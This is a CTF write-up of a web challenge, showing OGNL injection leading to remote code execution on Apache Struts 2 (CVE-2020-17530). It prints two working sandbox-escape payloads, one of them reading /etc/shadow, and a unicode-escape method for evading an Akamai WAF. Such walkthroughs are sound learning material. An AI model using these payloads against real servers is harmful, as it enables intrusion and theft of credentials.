Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5Mobile wallpaper 6
704 words
4 minutes
NoteSafe | Apache Struts 2 OGNL Double Evaluation RCE

Introduction#

This challenge, NoteSafe, was part of IEEE VICTORIS CTF 2026 Qualifications, tackled with my team Mont5ab El2hwa. It turned out to be one of the harder web challenges in the competition, with only 9 solves across all participating teams — our team ultimately placed 6th overall.

Table of Contents#

  1. Initial Reconnaissance
  2. Exploring the Application
  3. Discovering the Reflection
  4. Researching Apache Struts 2 Vulnerabilities
  5. Confirming OGNL Injection
  6. From Injection to RCE
  7. WAF Blocking the Payload
  8. Bypassing the WAF — Parser Differentials
  9. Final Payload and Result
  10. Sources

1. Initial Reconnaissance#

The first thing you see are two buttons: Create Account or Sign in with a demo account.

Pasted image 20260920202034

The first step is to sign in.

Pasted image 20260920202153

The first thing that caught my attention was the naming convention of the endpoints: login.action.

Pasted image 20260920202349

This strongly suggested that the application is likely using Apache Struts 2.

2. Exploring the Application#

After logging in:

Pasted image 20260920202444

There’s a logout option and a “Go to my notes” option. I started by creating a note, and tried a lot of things while creating it.

Pasted image 20260920202706

Nothing new there.

I tried viewing my notes without being authenticated, and got redirected.

Pasted image 20260920202827

When I sent a GET /notes.action request without being logged in, the server responded with a 302 redirect to /login.action?DURL=%2Fnotes.action. This means the server saves the page I was requesting as a query parameter called DURL, so it can redirect me back to it after I log in.

3. Discovering the Reflection#

While following the redirection flow, I found the DURL parameter and traced how it was handled. I noticed something odd in the response: the value of DURL wasn’t just being placed in the value attribute of the hidden input as expected — it was also being duplicated inside the id attribute:

<input type="hidden" name="DURL" value="/notes.action" id="/notes.action"/>

This is not normal behavior — the id attribute shouldn’t be built from a user-controlled parameter value.

Pasted image 20260920203014

I found that a POST request is sent and its value is reflected in the id attribute.

Pasted image 20260920205350

4. Researching Apache Struts 2 Vulnerabilities#

After some research into Apache Struts 2 vulnerabilities, I arrived at:

CVE reference

This meant we could potentially achieve RCE via OGNL. First, I needed to confirm that the OGNL injection actually exists.

5. Confirming OGNL Injection#

I started with a simple test: I sent DURL=test and checked whether the value would be reflected as-is or not.

The value came back unchanged (id="test"), meaning there was no injection or interpretation happening for plain text. Next, I tried sending a simple OGNL expression, %{8*8}, instead of plain text.

Pasted image 20260920210834

The result was id="64" — meaning the 8*8 value was actually evaluated and its result, 64, appeared inside the id attribute. This is conclusive proof that the value coming from DURL is being evaluated as an OGNL expression, not just reflected as plain text like ordinary reflection.

Once I confirmed the injection existed, I began looking into how to turn this evaluation into RCE.

6. From Injection to RCE#

Now that the injection was confirmed, the next step was researching how to get RCE from it.

Pasted image 20260920221353

https://blog.qualys.com/vulnerabilities-threat-research/2021/09/21/apache-struts-2-double-ognl-evaluation-vulnerability-cve-2020-17530

Let’s try this exploitation:

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat_/etc/shadow")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

7. WAF Blocking the Payload#

When I tried sending the full RCE payload, the server responded directly with an Access Denied page from the Akamai WAF.

Pasted image 20260920221845

The WAF blocked it.

8. Bypassing the WAF — Parser Differentials#

After a lot of research and experimentation, I found that the Akamai WAF blocks many keywords in the payload in their normal/plain form, but OGNL can still parse them just fine in an alternate encoded form. This technique is called Parser Differentials — meaning the WAF sees something ordinary and passes it through, while OGNL still reads it perfectly.

One last constraint: the injection point translateVariable() only resolves expressions wrapped in ${...}, so the payload couldn’t contain curly braces at all. OGNL’s built-in handling of unicode escapes (\u0022_etc.) provides a clean way to express braces and continue the payload.

Source: https://techreport.ngo/security/bypassing-ognl-sandboxes-for-fun-and-charities/

Based on this, it was possible to get around many of the blocked keywords — blocked from the WAF’s perspective, but completely normal from OGNL’s perspective.

9. Final Payload and Result#

The final payload:

%25%7B(%5Cu0023instancemanager=%5Cu0023%5Cu0061pplication%5B%22org.%5Cu0061pache.tomcat.InstanceManager%22%5D).(%5Cu0023stack=%5Cu0023%5Cu0061ttr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D).(%5Cu0023bean=%5Cu0023instancemanager.newInstance(%22org.apache.commons.collections.BeanMap%22)).(%5Cu0023bean.setBean(%5Cu0023stack)).(%5Cu0023context=%5Cu0023bean.get(%22context%22)).(%5Cu0023bean.setBean(%5Cu0023context)).(%5Cu0023macc=%5Cu0023bean.get(%22memberAccess%22)).(%5Cu0023bean.setBean(%5Cu0023macc)).(%5Cu0023emptyset=%5Cu0023instancemanager.newInstance(%22java.util.HashSet%22)).(%5Cu0023bean.put(%22excludedClasses%22,%5Cu0023emptyset)).(%5Cu0023bean.put(%22excludedPackageNames%22,%5Cu0023emptyset)).(%5Cu0023arglist=%5Cu0023instancemanager.newInstance(%22java.util.ArrayList%22)).(%5Cu0023arglist.add(%22id%22)).(%5Cu0023execute=%5Cu0023instancemanager.newInstance(%22freemarker.template.utility.Execute%22)).(%5Cu0023execute.exec(%5Cu0023arglist))%7D

Result:

Pasted image 20260920223445

The flag: CTF{43779f19dfdd869bde6ab23e202c2b3c}

Pasted image 20260920223707


10. Sources#

NoteSafe | Apache Struts 2 OGNL Double Evaluation RCE
https://babayaga0x01.github.io/posts/ctf_walkthrough/notesafe_ctf/
Author
Baba Yaga
Published at
2026-09-21
License
CC BY-NC-SA 4.0

Some information may be outdated